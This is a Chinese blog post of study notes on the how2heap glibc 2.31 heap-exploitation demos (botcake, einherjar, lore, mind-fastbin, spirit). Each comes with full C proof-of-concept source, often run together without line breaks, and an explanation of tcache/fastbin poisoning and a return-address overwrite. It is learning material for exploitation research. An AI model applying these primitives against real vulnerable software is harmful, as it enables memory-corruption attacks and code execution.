目录

  • house_of_botcake
  • house_of_einherjar
  • house_of_lore
  • house_of_mind_fastbin
  • house_of_spirit

前言: 下面是how2heaplibc2.31的house部分
仅为个人笔记,如有错误,还望师傅们指正

house_of_botcake

编译命令

gcc -DDEBUG -g -o house_of_botcake house_of_botcake.c

源码:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>int main()
{/** This attack should bypass the restriction introduced in* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d* If the libc does not include the restriction, you can simply double free the victim and do a* simple tcache poisoning* And thanks to @anton00b and @subwire for the weird name of this technique */// disable buffering so _IO_FILE does not interfere with our heapsetbuf(stdin, NULL);setbuf(stdout, NULL);// introductionputs("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");puts("returning a pointer to an arbitrary location (in this demo, the stack).");puts("This attack only relies on double free.\n");// prepare the targetintptr_t stack_var[4];puts("The address we want malloc() to return, namely,");printf("the target address is %p.\n\n", stack_var);// prepare heap layoutputs("Preparing heap layout");puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");intptr_t *x[7];for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){x[i] = malloc(0x100);}puts("Allocating a chunk for later consolidation");intptr_t *prev = malloc(0x100);puts("Allocating the victim chunk.");intptr_t *a = malloc(0x100);printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n");malloc(0x10);// cause chunk overlappingputs("Now we are able to cause chunk overlapping");puts("Step 1: fill up tcache list");for(int i=0; i<7; i++){free(x[i]);}puts("Step 2: free the victim chunk so it will be added to unsorted bin");free(a);puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");free(prev);puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");malloc(0x100);/*VULNERABILITY*/free(a);// a is already freed/*VULNERABILITY*/// simple tcache poisoningputs("Launch tcache poisoning");puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");intptr_t *b = malloc(0x120);puts("We simply overwrite victim's fwd pointer");b[0x120/8-2] = (long)stack_var;// take target outputs("Now we can cash out the target chunk.");malloc(0x100);intptr_t *c = malloc(0x100);printf("The new chunk is at %p\n", c);// sanity checkassert(c==stack_var);printf("Got control on target/stack!\n\n");// noteputs("Note:");puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");return 0;
}

这个攻击用于应对tcache doublefree的那个key值检测
或者如果libc没有这个检测,可以更容易的做到tcache poisoning

首先setbuf清空缓冲区,消除IO_file对堆的一些影响
这个demo演示了tcache poison攻击,返回指向任意地址的指针(本例中是栈)
这个攻击仅依赖doublefree

1.得到一个target 地址,本例为栈的地址
2.准备堆布局:
先malloc申请7个0x110chunk
再malloc申请1个0x110chunk为后面合并,命名为prev
再malloc申请1个0x110chunk,命名为victim
再malloc分配一个0x20防止合并top_chunk
3.造成堆块重叠:
3.1 释放前7个0x110chunk,填满0x110tcache
3.2 释放 victim_chunk,会到unsortbin
3.3 释放为prev的那个chunk,使其与victim合并
3.4 从满的tcache中取出一个,然后再次释放victim_chunk,达到的效果是将victim_chunk添加到tcache中
4.执行tcache poison
申请0x130size,会从0x220unsortbin中割出0x130,还剩0xf0,可以修改到victim的chunk的fd,这里改为栈地址
可以看到现在tcache里指向了stack

我们就可以分配0x110chunk到stack
妙处在于可以多次释放申请0x130那个堆块,来达到很多地址的任意写入

house_of_einherjar

编译命令

gcc -DDEBUG -g -o house_of_einherjar house_of_einherjar.c

源码:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>int main()
{/** This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.31.* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().* It has the additional requirement of a heap leak. * * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.* The following restriction for normal bins won't allow us to create chunks bigger than the memory* allocated from the system in this arena:** https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */setbuf(stdin, NULL);setbuf(stdout, NULL);printf("Welcome to House of Einherjar 2!\n");printf("Tested on Ubuntu 20.04 64bit (glibc-2.31).\n");printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");printf("This file demonstrates a tcache poisoning attack by tricking malloc into\n""returning a pointer to an arbitrary location (in this case, the stack).\n");// prepare the targetintptr_t stack_var[4];printf("\nThe address we want malloc() to return is %p.\n", (char *) &stack_var);printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");intptr_t *a = malloc(0x38);// create a fake chunkprintf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");a[0] = 0;    // prev_size (Not Used)a[1] = 0x60; // sizea[2] = (size_t) a; // fwda[3] = (size_t) a; // bckprintf("Our fake chunk at %p looks like:\n", a);printf("prev_size (not used): %#lx\n", a[0]);printf("size: %#lx\n", a[1]);printf("fwd: %#lx\n", a[2]);printf("bck: %#lx\n", a[3]);printf("\nWe allocate 0x28 bytes for 'b'.\n""This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n""After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");uint8_t *b = (uint8_t *) malloc(0x28);printf("b: %p\n", b);int real_b_size = malloc_usable_size(b);printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);/* In this case it is easier if the chunk size attribute has a least significant byte with* a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */printf("\nWe allocate 0xf8 bytes for 'c'.\n");uint8_t *c = (uint8_t *) malloc(0xf8);printf("c: %p\n", c);uint64_t* c_size_ptr = (uint64_t*)(c - 8);// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bitprintf("\nc.size: %#lx\n", *c_size_ptr);printf("c.size is: (0x100) | prev_inuse = 0x101\n");printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");b[real_b_size] = 0;printf("c.size: %#lx\n", *c_size_ptr);printf("It is easier if b.size is a multiple of 0x100 so you ""don't change the size of b, only its prev_inuse bit\n");// Write a fake prev_size to the end of bprintf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that ""it will consolidate with our fake chunk\n", sizeof(size_t));size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;// Change the fake chunk's size to reflect c's new prev_sizeprintf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");a[1] = fake_size;printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunkprintf("\nFill tcache.\n");intptr_t *x[7];for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {x[i] = malloc(0xf8);}printf("Fill up tcache list.\n");for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {free(x[i]);}printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");free(c);printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);printf("\nNow we can call malloc() and it will begin in our fake chunk\n");intptr_t *d = malloc(0x158);printf("Next malloc(0x158) is at %p\n", d);// tcache poisoningprintf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n""We have to create and free one more chunk for padding before fd pointer hijacking.\n");uint8_t *pad = malloc(0x28);free(pad);printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");free(b);printf("Now the tcache list has [ %p -> %p ].\n", b, pad);printf("We overwrite b's fwd pointer using chunk 'd'\n");d[0x30 / 8] = (long) stack_var;// take target outprintf("Now we can cash out the target chunk.\n");malloc(0x28);intptr_t *e = malloc(0x28);printf("\nThe new chunk is at %p\n", e);// sanity checkassert(e == stack_var);printf("Got control on target/stack!\n\n");
}

这种攻击方法用带空字节的off-by-one溢出来控制malloc返回的指针,除此之外还需要泄露堆的地址
这个demo演示了tcache poisoning attack诱骗malloc分配chunk到任意地址(本例为栈的地址)

首先清空缓冲区
得到一个栈的地址

1.malloc申请一个0x38的堆,命名为a
然后在里面伪造一个fake_chunk,并且要知道它的地址,我们将fd和bk指针设置为指向fake_chunk,来通过unlink的检查
可以看到在0x38的堆里已经伪造了一个0x60的fake_chunk,fd和bk都指向自己

2.malloc申请一个0x28的堆,命名为b
malloc申请一个0xf8的堆,命名为c
这个堆块b用于溢出单个空字节到堆块c,就是覆盖prev_inuse位为0
我们再写prev_size为0x60也就是我们fake_chunk的size
可以看到已经改好了

3.malloc申请7个0xf8,释放7个填满0x100tcache
我们释放c,会触发consolidate合并堆块
现在有个0x160大小的unsortbin

我们申请0x158,从unsortbin中取0x160
然后就造成了堆块重叠

4.在修改tcach fd之前要先往tcache里加一个bin链,防止后续利用时tcache_index<0
所以到malloc0x28,free0x28

现在我们发动tcache poison attack
free(b),然后依靠堆块重叠改写free(b)后的fd
可以看到已经指向栈了

再add两次就能分配到栈
所以达成了任意地址分配

总体就是利用合并机制造成堆重叠,修改tcache fd分配到任意地址

house_of_lore

编译

gcc -DDEBUG -g -o house_of_lore house_of_lore.c

源码:

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.[ ... ]else{bck = victim->bk;if (__glibc_unlikely (bck->fd != victim)){errstr = "malloc(): smallbin double linked list corrupted";goto errout;}set_inuse_bit_at_offset (victim, nb);bin->bk = bck;bck->fd = bin;[ ... ]*/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }int main(int argc, char * argv[]){intptr_t* stack_buffer_1[4] = {0};intptr_t* stack_buffer_2[4] = {0};void* fake_freelist[7][4];fprintf(stderr, "\nWelcome to the House of Lore\n");fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");fprintf(stderr, "This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\n\n");fprintf(stderr, "Allocating the victim chunk\n");intptr_t *victim = malloc(0x100);fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");void *dummies[7];for(int i=0; i<7; i++) dummies[i] = malloc(0x100);// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunkintptr_t *victim_chunk = victim-2;fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);fprintf(stderr, "Create a fake free-list on the stack\n");for(int i=0; i<6; i++) {fake_freelist[i][3] = fake_freelist[i+1];}fake_freelist[6][3] = NULL;fprintf(stderr, "fake free-list at %p\n", fake_freelist);fprintf(stderr, "Create a fake chunk on the stack\n");fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted""in second to the last malloc, which putting stack address on smallbin list\n");stack_buffer_1[0] = 0;stack_buffer_1[1] = 0;stack_buffer_1[2] = victim_chunk;fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 ""in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake ""chunk on stack");stack_buffer_1[3] = (intptr_t*)stack_buffer_2;stack_buffer_2[2] = (intptr_t*)stack_buffer_1;fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash ""introduced by smallbin-to-tcache mechanism\n");stack_buffer_2[3] = (intptr_t *)fake_freelist[0];fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with""the small one during the free()\n");void *p5 = malloc(1000);fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);fprintf(stderr, "Freeing dummy chunk\n");for(int i=0; i<7; i++) free(dummies[i]);fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);free((void*)victim);fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);void *p2 = malloc(1200);fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);//------------VULNERABILITY-----------fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack//------------------------------------fprintf(stderr, "Now take all dummies chunk in tcache out\n");for(int i=0; i<7; i++) malloc(0x100);fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");void *p3 = malloc(0x100);fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");char *p4 = malloc(0x100);fprintf(stderr, "p4 = malloc(0x100)\n");fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",stack_buffer_2[2]);fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stackintptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcodelong offset = (long)__builtin_frame_address(0) - (long)p4;memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary// sanity checkassert((long)__builtin_return_address(0) == (long)jackpot);
}

分配一个0x110chunk,命名为victim
再分配7个0x110chunk(后用于填满0x110tcache)
在栈上伪造一个free_list链表
指针指向指针,最后指向0

在栈上伪造两个chunk,命名为stack_buffer_1,stack_buffer_2
stack_buffer_1结构:
prev_size=无要求,size=无要求
fd=victim_chunk_addr,bk=stack_buffer_2_addr

stack_buffer_1结构:
prev_size=无要求,size=无要求
fd=stack_buffer_1_addr,bk=free_list
(目的是通过smallbin的检测)

设置bk为伪造的free_list,防止机制上的冲突从smallbin到tcache

malloc(1000)的chunk,避免smallbin释放时合并到top chunk

释放那7个0x110chunk填满0x110tcache
释放victim它便会放到unsortbin
unsortbin的fd,bk存了main_arena+96的地址

现在要用malloc申请的既不能是unsortbin范围(这里为0x110),也不能在smallbin范围内
所以这里malloc(1200)

可以发现unsortbin不满足要求,所以会被放到smallbin中,也就是名为victim的堆放到smallbin

现在我们假设有个漏洞可以改到victim的bk
现在我们改victim的bk指向stack_buffer_1

现在add7个0x110清空tcache
再把0x110smallbin也就是victim申请回来
就会触发机制放到tcache中,而那里填的是我们的free_list

最后再申请0x110,就是申请堆到栈上了
虽然图中smallbin[corrupted]了,但我们不用它就没事

house_of_mind_fastbin

编译

gcc -DDEBUG -g -o house_of_mind_fastbin house_of_mind_fastbin.c

这种利用方法没太看懂,光上面一大段注释我人就麻了,权当跟着程序走了一遍

源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>/*House of Mind - Fastbin Variant
==========================This attack is similar to the original 'House of Mind' in that it uses
a fake non-main arena in order to write to a new location. This
uses the fastbin for a WRITE-WHERE primitive in the 'fastbin'
variant of the original attack though. The original write for this
can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. By being able to allocate an arbitrary amount of chunks, a single byte
overwrite on a chunk size and a memory leak, we can control a super
powerful primitive. This could be used in order to write a freed pointer to an arbitrary
location (which seems more useful). Or, this could be used as a
write-large-value-WHERE primitive (similar to unsortedbin attack). Both are interesting in their own right though but the first
option is the most powerful primitive, given the right setting.Malloc chunks have a specified size and this size information
special metadata properties (prev_inuse, mmap chunk and non-main arena).
The usage of non-main arenas is the focus of this exploit. For more information
on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. First, we need to understand HOW the non-main arena is known from a chunk.This the 'heap_info' struct: struct _heap_info
{mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointerstruct _heap_info *prev; // Previous heap.size_t size;            // Current size in bytes.size_t mprotect_size;   // Size in bytes that has been mprotectedchar pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48The important thing to note is that the 'malloc_state' within
an arena is grabbed from the ar_ptr, which is the FIRST entry
of this. Malloc_state == mstate == arena The main arena has a special pointer. However, non-main arenas (mstate)
are at the beginning of a heap section. They are grabbed with the
following code below, where the user controls the 'ptr' in 'arena_for_chunk':#define heap_for_ptr(ptr) \((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127This macro takes the 'ptr' and subtracts a large value because the
'heap_info' should be at the beginning of this heap section. Then,
using this, it can find the 'arena' to use. The idea behind the attack is to use a fake arena to write pointers
to locations where they should not go but abusing the 'arena_for_chunk'
functionality when freeing a fastbin chunk.This POC does the following things:
- Finds a valid arena location for a non-main arena.
- Allocates enough heap chunks to get to the non-main arena location where we can control the values of the arena data.
- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.
- Using this fake arena (ar_ptr), we can use the fastbin to writeto an unexpected location of the 'ar_ptr' with a heap pointer. Requirements:
- A heap leak in order to know where the fake 'heap_info' is located at.- Could be possible to avoid with special spraying techniques
- An unlimited amount of allocations
- A single byte overflow on the size of a chunk- NEEDS to be possible to put into the fastbin. - So, either NO tcache or the tcache needs to be filled.
- The location of the malloc state(ar_ptr) needs to have a value largerthan the fastbin size being freed at malloc_state.system_mem otherwisethe chunk will be assumed to be invalid.- This can be manually inserted or CAREFULLY done by lining upvalues in a proper way.
- The NEXT chunk, from the one that is being freed, must be a valid size
(again, greater than 0x20 and less than malloc_state.system_mem)Random perks:
- Can be done MULTIPLE times at the location, with different sized fastbinchunks.
- Does not brick malloc, unlike the unsorted bin attack.
- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. ************************************
Written up by Maxwell Dulin (Strikeout)
************************************
*/int main(){printf("House of Mind - Fastbin Variant\n");puts("==================================");printf("The goal of this technique is to create a fake arena\n");printf("at an offset of HEAP_MAX_SIZE\n");printf("Then, we write to the fastbins when the chunk is freed\n");printf("This creates a somewhat constrained WRITE-WHERE primitive\n");// Values for the allocation information. int HEAP_MAX_SIZE = 0x4000000;int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635printf("Find initial location of the heap\n");// The target location of our attack and the fake arena to useuint8_t* fake_arena = malloc(0x1000); uint8_t* target_loc = fake_arena + 0x30;uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;/*Prepare a valid 'malloc_state' (arena) 'system_mem' to store a fastbin. This is important because the sizeof a chunk is validated for being too small or too largevia the 'system_mem' of the 'malloc_state'. This just needsto be a value larger than our fastbin chunk.*/printf("Set 'system_mem' (offset 0x888) for fake arena\n");fake_arena[0x888] = 0xFF;fake_arena[0x889] = 0xFF; fake_arena[0x88a] = 0xFF; printf("Target Memory Address for overwrite: %p\n", target_loc);printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);// Calculate the location of our fake arenauint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);uint64_t* fake_heap_info = (uint64_t*) new_arena_value;uint64_t* user_mem = malloc(MAX_SIZE);printf("Fake Heap Info struct location: %p\n", fake_heap_info);printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");  /* The fake arena must be at a particular offset on the heap.So, we allocate a bunch of chunks until our next chunkwill be in the arena. This value was calculated above.*/while((long long)user_mem < new_arena_value){user_mem = malloc(MAX_SIZE);}// Use this later to trigger crazinessprintf("Create fastbin sized chunk to be victim of attack\n");uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of memprintf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);printf("Fill up the TCache so that the fastbin will be used\n");// Fill the tcache to make the fastbin to be used later. uint64_t* tcache_chunks[7];for(int i = 0; i < 7; i++){tcache_chunks[i] = malloc(0x50);}  for(int i = 0; i < 7; i++){free(tcache_chunks[i]);}/*Create a FAKE malloc_state pointer for the heap_stateThis is the 'ar_ptr' of the 'heap_info' struct shown above. This is the first entry in the 'heap_info' struct at offset 0x0at the heap.We set this to the location where we want to write a value to.The location that gets written to depends on the fastbin chunksize being freed. This will be between an offset of 0x8 and 0x40bytes. For instance, a chunk with a size of 0x20 would be in the0th index of fastbinsY struct. When this is written to, we willwrite to an offset of 8 from the original value written.- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686*/printf("Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\n", fake_arena);fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));/*Set the non-main arena bit on the size. Additionally, we keep the size the same as the originalallocation because there is a sanity check on the fastbin (when freeing)that the next chunk has a valid size. When grabbing the non-main arena, it will use our choosen arena!From there, it will write to the fastbin because of the size of thechunk./ Vulnerability! Overwriting the chunk size */printf("Set non-main arena bit on the fastbin chunk\n");puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n");chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit End vulnerability /*The offset being written to with the fastbin chunk addressdepends on the fastbin BEING used and the malloc_state itself. In 2.31, the offset from the beginning of the malloc_stateto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an additional byte offset of 0x20. In total, the writing offsetfrom the arena location is 0x30 bytes.from the arena location to where the write actually occurs. This is a similar concept to bk - 0x10 from the unsortedbin attack. */printf("When we free the fastbin chunk with the non-main arena bit\n");printf("set, it will cause our fake 'heap_info' struct to be used.\n");printf("This will dereference our fake arena location and write\n");printf("the address of the heap to an offset of the arena pointer.\n");printf("Trigger the magic by freeing the chunk!\n");free(fastbin_chunk); // Trigger the madness// For this particular fastbin chunk size, the offset is 0x28. printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));assert(*((unsigned long *) (target_loc)) != 0);
}

house of mind fastbin变体
这项技术的目的是创建一个fake_arena
偏移量为HEAP_MAX_SIZE
当块空闲时,我们写入fastbin

allocated信息的值
HEAP_MAX_SIZE = 0x4000000
MAX_SIZE = (128*1024) - 0x100

malloc(0x1000)用于我们写入fake_arena
我们攻击的位置为target_loc
target_loc=fake_arena+0x30
target_chunk = fake_arena - 0x10;

成功申请

设置fake_arena的system_mem
偏移为0x888设置三个字节0xff

计算我们fake_arena的地址
new_arena_value = (target_chunk + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
fake_heap_info = new_arena_value;

user_mem = malloc(MAX_SIZE);
里申请显然超过topchunk的值,只能申请到

fake_arena必须位于堆上的特定偏移量。
所以我们分配一些堆块直到下个堆块再arena上
这个值是上面计算出来的
循环一直申请MAX_SIZE直到申请到的地址>=new_arena_value
总之就是一直malloc(0x1FF00)
然后创建一个fastbin_chunk,为victim_chunk
fastbin_chunk = malloc(0x50)
它的chunk头地址位chunk_ptr
chunk_ptr = fastbin_chunk - 2

add7个释放7个填满0x60的tcache

这里提一下heap_info的结构

struct _heap_info
{mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointerstruct _heap_info *prev; // Previous heap.size_t size;            // Current size in bytes.size_t mprotect_size;   // Size in bytes that has been mprotectedchar pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;

在我们要伪造的fake_heap_info结构里
设置ar_ptr的值为我们fake_arena的地址

接着我们要设置 no-main arena bit位 在size上,此外size保持不变,
当用no-main arena时,就会选择我们的fake_main_arena,
从这里开始,它会写到fastbin,因为chunk大小

这里设置victim_chunk的size为0x64
4是设置 the non-main arena bit位
可以看到这里写了64释放这个fastbin,就会往target_loc处写入一个堆的地址

house_of_spirit

编译

gcc -DDEBUG -g -o house_of_spirit house_of_spirit.c

源码:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>int main()
{setbuf(stdout, NULL);puts("This file demonstrates the house of spirit attack.");puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");puts("Required primitives: known target address, ability to set up the start/end of the target memory");puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");void *chunks[7];for(int i=0; i<7; i++) {chunks[i] = malloc(0x30);}for(int i=0; i<7; i++) {free(chunks[i]);}puts("\nStep 2: Prepare the fake chunk");// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)long fake_chunks[10] __attribute__ ((aligned (0x10)));printf("The target fake chunk is at %p\n", fake_chunks);printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);fake_chunks[1] = 0x40; // this is the sizeprintf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);fake_chunks[9] = 0x1234; // nextsizeputs("\nStep 3: Free the first fake chunk");puts("Note that the address of the fake chunk must be 16-byte aligned.\n");void *victim = &fake_chunks[2];free(victim);puts("\nStep 4: Take out the fake chunk");printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);printf("malloc can do the trick as well, you just need to do it for 8 times.");void *allocated = calloc(1, 0x30);printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);assert(allocated == victim);
}

此攻击将非堆指针添加到fastbin中,从而导致(几乎)任意写入。
1.先malloc7个free7个填满tcache

2.准备fake chunk
本例在栈上伪造了个chunk
要求是size要满足0x40
nextsize要有个值,这里是0x1234
然后free(fake_chunk_addr)

用calloc(1,0x30)可以分配chunk到栈上

how2heap2.31学习(2)相关推荐

  1. how2heap2.31学习(4)

    目录: large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte unsafe_unlink 前言: 下 ...

  2. 小傻羊7.31学习笔记——AOP例子和日志的实现实例

    7.31学习笔记--AOP例子和日志的实现实例 转载小栗子 https://blog.csdn.net/zhuzhezhuzhe1/article/details/80565067 切口的实现,sys ...

  3. 2020.07.15-07.31学习小结

    TBM学院肿瘤免疫相关的组学数据分析肿瘤组学智能分析与应用主题月第二期 华中科技大学 郭安源教授团队(红色字体为该团队研发工具) 该团队研发工具网址http://bioinfo.life.hust.e ...

  4. 学习C++的五十个建议(转

    载学生大本营转过来的 下面的是学C++时要注意的.绝对经典!! 1.把C++当成一门新的语言学习(和C没啥关系!真的.): 2.看<Thinking In C++>,不要看<C++变 ...

  5. 小样本学习 | Learning to Compare: Relation Network for Few-Shot Learning

    博主github:https://github.com/MichaelBeechan 博主CSDN:https://blog.csdn.net/u011344545 Learning to Compa ...

  6. 选择开发语言和学习的路径(这个标题可能有点不准确)

    毕业一年多了,现在在一家公司担任网络管理员,事情很少过得很惬意,基本上没有加班.但是渐渐的感觉没有什么前途(钱途).很多一起出来的的大学同学都向软件开发方向发展,很多事java或者php,有些认识的好 ...

  7. 学习C++和编程的50个观点

    下面的是学C++时要注意的.绝对经典.!! 1.把C++当成一门新的语言学习(和C没啥关系!真的.): 2.看<Thinking In C++>,不要看<C++变成死相>: 3 ...

  8. 学习C++的五十条忠告

    50条忠告:(其中有几条觉得写的不够贴切,所以删了,发了余下的部分) 1.把C++当成一门新的语言学习: 2.看<Thinking In C++>,不要看<C++变成死相>: ...

  9. [转]学习c++的50条忠告

    学习c++的50条忠告(初学者必看)转自http://www.rayoko.com/article/101.htm 1.把C++当成一门新的语言学习(和C没啥关系!真的.): 2.看<Think ...

最新文章

  1. Cisco交换机路由器的部分命令解析(3)
  2. 图数据库Neo4j全栈Web技术解密
  3. Ubuntu安装docker-ELK
  4. Lambda表达式的注意事项【理解】
  5. Perspective Mockups mac(PS透视模型动作插件)支持ps2021
  6. 双绞线传输距离_一看就懂的网络传输介质介绍
  7. 事务处理与SQL查询
  8. RT-Thread Nano移植
